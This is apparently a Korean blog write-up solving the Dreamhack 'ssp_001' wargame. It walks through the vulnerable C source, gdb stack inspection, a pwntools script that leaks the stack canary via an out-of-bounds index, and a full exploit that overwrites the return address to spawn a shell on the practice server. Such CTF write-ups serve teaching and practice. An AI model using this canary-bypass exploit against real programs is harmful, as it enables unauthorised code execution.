오늘은 저번에 이어서 ssp_001을 풀어볼 것이다.
먼저 c코드를 확인해보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
위에서 print_box 함수에서 canary를 leak 할 수 있을 것 같다.
아마도 box와 카나리의 offset을 확인하고 idx에 offset을 나눠서 넣으면 될 것 같다.
일단 메인을 디스어셈블 해보자.
Reading symbols from ./ssp_001...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
0x08048749 <+30>: lea edx,[ebp-0x88]
0x0804874f <+36>: mov eax,0x0
0x08048754 <+41>: mov ecx,0x10
0x08048759 <+46>: mov edi,edx
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>: lea edx,[ebp-0x48]
0x08048760 <+53>: mov eax,0x0
0x08048765 <+58>: mov ecx,0x10
0x0804876a <+63>: mov edi,edx
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a]
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
---Type <return> to continue, or q <return> to quit---
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
---Type <return> to continue, or q <return> to quit---
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
End of assembler dump.
(gdb)
main + 179에서 box를 입력받는다(read 3개 중 2번째)
그러면 저기다가 브레이크를 걸고 esp를 확인해보자.
(gdb) b *main+179
Breakpoint 1 at 0x80487de
(gdb) r
Starting program: /home/psj/ssp_001
[F]ill the box
[P]rint the box
[E]xit
> F
box input :
Breakpoint 1, 0x080487de in main ()
(gdb) i r esp
esp 0xffffcfa4 0xffffcfa4
(gdb) x/50wx 0xffffcfa4
0xffffcfa4: 0x00000000 0xffffcfc0 0x00000040 0xffffd0e4
0xffffcfb4: 0x00000000 0x00000000 0x0a4659bf 0x00000000
0xffffcfc4: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcfd4: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcfe4: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcff4: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd004: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd014: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd024: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd034: 0x00000000 0x00000000 0x00000000 0x853cfa00
0xffffd044: 0xf7fb6000 0x00000000 0xf7e1e647 0x00000001
0xffffd054: 0xffffd0e4 0xffffd0ec 0x00000000 0x00000000
0xffffd064: 0x00000000 0xf7fb6000
음.. 여기서는 제대로 된 스택을 확인할 수 없을 것 같다.
그러면 name 의 스택을 확인해보자.
name을 read하는 함수는 main+308에 있다.
(gdb) b *main+308
Breakpoint 1 at 0x804885f
(gdb) r
Starting program: /home/psj/ssp_001
[F]ill the box
[P]rint the box
[E]xit
> E
Name Size : 8
Name :
Breakpoint 1, 0x0804885f in main ()
(gdb) ni
AAAABBBB
0x08048864 in main ()
(gdb)
0x08048867 in main ()
(gdb) x/50wx $esp
0xffffcfb0: 0xffffd0e4 0x00000000 0x00000008 0x0a4559bf
0xffffcfc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcfd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcfe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcff0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd000: 0x41414141 0x42424242 0x00000000 0x00000000
0xffffd010: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd020: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd030: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd040: 0xa6abb500 0xf7fb6000 0x00000000 0xf7e1e647
0xffffd050: 0x00000001 0xffffd0e4 0xffffd0ec 0x00000000
0xffffd060: 0x00000000 0x00000000 0xf7fb6000 0xf7ffdc04
0xffffd070: 0xf7ffd000 0x00000000
위처럼 main+30에 브레이크를 건다. 그리고 name size는 대충 8바이트 넣고 name에 AAAABBBB를 입력하면 0xffffd000에 값이 들어간다.
아까 0xffffcfa4부터 box가 들어갔으니 0xffffd000-0xffffcfa4를 64비트로 딱 맞아떨어진다.
그러면 stack을 생각해보자.
#stack
low
box[64]
name[64]
canary[4]
sfp[4]
dummy[4]
ret[4]
high
(dummy가 sfp, ret 사이에 들어가 있는데 왜인지는 모르겠다.)
그러면 0xffffd040 즉 위에서 0xa6abb500이 카나리인 것이다.
따라서 box와 카나리의 offset은 0x80 즉 128이다.
그러면 print_box에서 idx를 128, 129, 130, 131을 주면 카나리가 나올 것이다.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/psj/ssp_001
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 128
Element of index 128 is : 00
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 129
Element of index 129 is : e8
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 130
Element of index 130 is : a1
[F]ill the box
[P]rint the box
[E]xit
> P
Element index : 131
Element of index 131 is : 11
[F]ill the box
[P]rint the box
[E]xit
카나리가 stack에서 거꾸로 표시되니, 카나리의 값은 0x00e8a111이 아닌 0x11a1e800이 될 것이다.
이제 카나리를 leak 하는 프로그램을 만들어보자.
from pwn import *
#context.log_level = "debug"
p = process("./ssp_001")
canary = b"0x"
p.recvuntil("> ")
def canary_leak(num): #P 값을 주고 카니리 leak을 반복
p.sendline(b"P")
p.recvuntil(": ")
p.sendline(str(num))
p.recvuntil("is : ")
return p.recv()[:2]
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)
canary = int(canary, 16)
print("Canary : "+hex(canary))
이제 leak스크립트를 실행하면 아래처럼 카나리가 잘 나오는 것을 확인할 수 있다.
psj@ubuntu:~$ python3 sp_leak.py
[+] Starting local process './ssp_001': pid 93566
Canary : 0x8b653300
[*] Stopped process './ssp_001' (pid 93566)
이제 카나리의 값을 구하는 프로그램을 만들었으니 exploit code를 짜 보자.
name을 이용해서 payload를 짜 볼 것이다.
nop * 64 + canary + nop * 4 + nop * 4 + get_shell address
위처럼 payload를 짜면 될 것 같다.
아래처럼 exploit code를 만들어보자.
from pwn import *
#context.log_level = "debug"
#p = process("./ssp_001")
p = remote("host1.dreamhack.games",11392)
e = ELF("./ssp_001")
canary = b"0x"
get_shell = e.symbols["get_shell"]
p.recvuntil("> ")
def canary_leak(num):
p.sendline(b"P")
p.recvuntil(": ")
p.sendline(str(num))
p.recvuntil("is : ")
return p.recv()[:2]
canary += canary_leak(131)
canary += canary_leak(130)
canary += canary_leak(129)
canary += canary_leak(128)
canary = int(canary, 16)
print("Canary : "+hex(canary))
payload = b"\x90" * 64 #name
payload += p32(canary) #canary
payload += b"\x90" * 8 #sfp & 4bytes dummy
payload += p32(get_shell) #ret
p.sendline("E")
p.recvuntil("Size : ")
p.sendline(str(len(payload))) #payload length
p.recvuntil("Name : ")
p.sendline(payload)
p.interactive()
이제 스크립트를 실행해보자.
shell 획득에 성공한 걸 확인할 수 있다.
'워게임' 카테고리의 다른 글
HackCTF - Question? (forensics write up) (0) | 2021.08.24 |
---|---|
Dreamhack - out_of_bound(writeup) (0) | 2021.08.07 |
Dreamhack - ssp_000 (0) | 2021.07.31 |
Dreamhack - web-misconf-1 (0) | 2021.07.29 |
Dreamhack - basic_exploitation_002 (0) | 2021.07.28 |